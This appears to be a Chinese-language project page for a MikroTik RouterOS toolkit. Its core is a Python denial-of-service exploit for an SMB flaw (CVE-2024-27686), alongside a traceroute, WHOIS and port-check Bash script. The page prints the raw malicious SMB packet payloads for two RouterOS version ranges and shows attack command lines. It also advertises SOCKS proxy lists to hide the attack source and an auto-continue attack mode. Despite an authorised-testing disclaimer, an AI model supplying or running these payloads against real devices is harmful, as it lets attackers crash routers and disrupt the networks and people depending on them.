MikroTik RouterOS SMB 拒绝服务漏洞利用与网络路由追踪工具集

1 阅读5分钟

MikroTik RouterOS 安全测试工具集

本项目提供了一套针对 MikroTik RouterOS 设备的专业安全测试与网络诊断工具。核心组件包括一个利用 SMB 协议处理缺陷的拒绝服务(DoS)漏洞利用脚本(CVE-2024-27686),以及一个功能完善的路由追踪与端口检测 Shell 脚本。这些工具专为授权安全测试人员、网络管理员和渗透测试工程师设计,用于验证目标系统的安全性及网络路径的可达性。

功能特性

  • 精准漏洞利用:支持针对 RouterOS 6.40.5 至 6.44 版本以及 6.48.1 至 6.49.10 版本的 SMB DoS 攻击。
  • 代理列表支持:Python 利用脚本内置对 SOCKS 代理列表的支持,可隐藏攻击源。
  • 健壮的连接处理:包含超时控制、自动重试机制和详细的日志记录功能。
  • 智能路由追踪:Bash 脚本可执行带跃点数限制的 traceroute,自动识别通往目标 IP 的最后一跳网关。
  • 网关信息查询:自动对识别出的网关 IP 执行 WHOIS 查询,提取关键网络归属信息。
  • 端口连通性检测:快速检测目标 IP 指定端口的开放状态(TCP)。

安装指南

环境要求

  • Python 脚本
    • Python 3.6+
    • pysocks 库(用于代理支持)
  • Bash 脚本
    • 类 Unix 环境(Linux/macOS)
    • traceroute 命令
    • whois 命令
    • timeout 命令(通常为 GNU coreutils 部分)

安装步骤

  1. 克隆或下载项目文件: 将 exploit.py(Python 利用脚本)和 traceroute.sh(Bash 路由追踪脚本)保存到本地目录。

  2. 安装 Python 依赖

    pip install pysocks
    
  3. 赋予 Bash 脚本执行权限

    chmod +x traceroute.sh
    
  4. 验证系统命令可用性

    which traceroute whois timeout
    

使用说明

1. Python DoS 漏洞利用脚本

基本用法示例:

# 对目标 IP 默认 SMB 端口(445)执行攻击
python3 exploit.py --target 192.168.1.1

# 指定攻击版本(1 或 2)并设置详细日志
python3 exploit.py --target 10.0.0.1 --version 2 --verbose

# 使用代理列表文件并自动继续攻击
python3 exploit.py --target 172.16.0.1 --proxy-list proxies.txt --auto-continue

# 自定义攻击间隔和超时时间
python3 exploit.py --target 192.168.1.100 --interval 1.5 --timeout 3

命令行参数说明

参数说明
--target目标 RouterOS IP 地址(必需)
--portSMB 服务端口,默认 445
--version指定攻击载荷版本(1 或 2)
--interval攻击包发送间隔(秒),默认 2.0
--timeout连接超时时间(秒),默认 5.0
--max-retries最大重试次数,默认 3
--proxy-listSOCKS 代理列表文件路径
--auto-continue自动继续攻击模式
--verbose启用详细输出
--log-file指定日志输出文件

2. Bash 路由追踪与网关识别脚本

基本用法示例:

# 追踪到目标 IP 并检测 22 端口
./traceroute.sh 8.8.8.8 22

# 追踪到局域网网关并检测 Web 端口
./traceroute.sh 192.168.1.1 80

脚本执行流程

  1. 执行最大 30 跳的 traceroute 追踪。
  2. 格式化输出每一跳的 IP 地址和往返时间(RTT)。
  3. 自动识别目标前的最后一跳网关 IP。
  4. 对该网关 IP 执行 whois 查询,过滤显示关键字段。
  5. 使用 TCP 握手检测目标 IP 的指定端口是否开放。

核心代码

Python 漏洞利用脚本核心配置与数据包

@dataclass
class Config:
    target: str
    port: int = 445
    interval: float = 2.0
    timeout: float = 5.0
    max_retries: int = 3
    log_level: str = "INFO"
    log_file: Optional[str] = None
    version: Optional[int] = None
    auto_continue: bool = False
    verbose: bool = False
    proxy_list_path: Optional[str] = None

# 针对不同 RouterOS 版本的恶意 SMB 数据包载荷
EXPLOIT_PACKETS = {
    1: {
        "name": "RouterOS 6.40.5 - 6.44",
        "packets": [
            b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00'
            b'\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            b'\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e'
            b'\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008'
            b'\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'
        ]
    },
    2: {
        "name": "RouterOS 6.48.1 - 6.49.10",
        "packets": [
            b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00'
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            b'\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99'
            b'\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02'
            b'\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00'
        ]
    }
}

Bash 脚本核心路由解析与网关提取逻辑

# 执行带跳数限制的 traceroute
HOPS=$(traceroute -n -m $MAX_HOPS "$TARGET" 2>/dev/null)

# 使用 awk 解析并格式化输出每一跳的信息
echo "$HOPS" | awk '
{
    hop=$1;
    ip=$2;
    rtt1=$3; rtt2=$4; rtt3=$5;
    if(ip == "*") {
        print hop "\tRequest timed out";
    } else {
        printf "%-3s\t%-15s\t", hop, ip;
        if(rtt1 ~ /^[0-9.]+$/) printf "RTT: %sms", rtt1;
        if(rtt2 ~ /^[0-9.]+$/) printf ", %sms", rtt2;
        if(rtt3 ~ /^[0-9.]+$/) printf ", %sms", rtt3;
        print "";
    }
}'

# 提取倒数第二跳作为目标前的网关 IP
GATEWAY=$(echo "$HOPS" | tail -n 2 | head -n 1 | awk '{print $2}')

# 使用 whois 查询网关信息并过滤关键字段
whois "$GATEWAY" | grep -Ei '^(netname|descr|origin|country|OrgName|OrgId|abuse-mailbox|address)'

# 通过 /dev/tcp 伪设备进行端口连通性检测
if timeout 3 bash -c "echo > /dev/tcp/$TARGET/$PORT" 2>/dev/null; then
    echo "[+] Port $PORT on $TARGET is OPEN"
else
    echo "[-] Port $PORT on $TARGET is CLOSED or FILTERED"
fi

⚠️ 免责声明

本工具集仅用于授权的安全测试、教育研究及网络故障诊断。未经目标系统所有者明确书面许可,使用这些工具攻击系统属于违法行为。使用者须遵守所在地法律法规,并自行承担一切法律责任。项目作者与贡献者不对任何滥用行为负责。 6HFtX5dABrKlqXeO5PUv/94jg+QCh45zgthERjre0KI=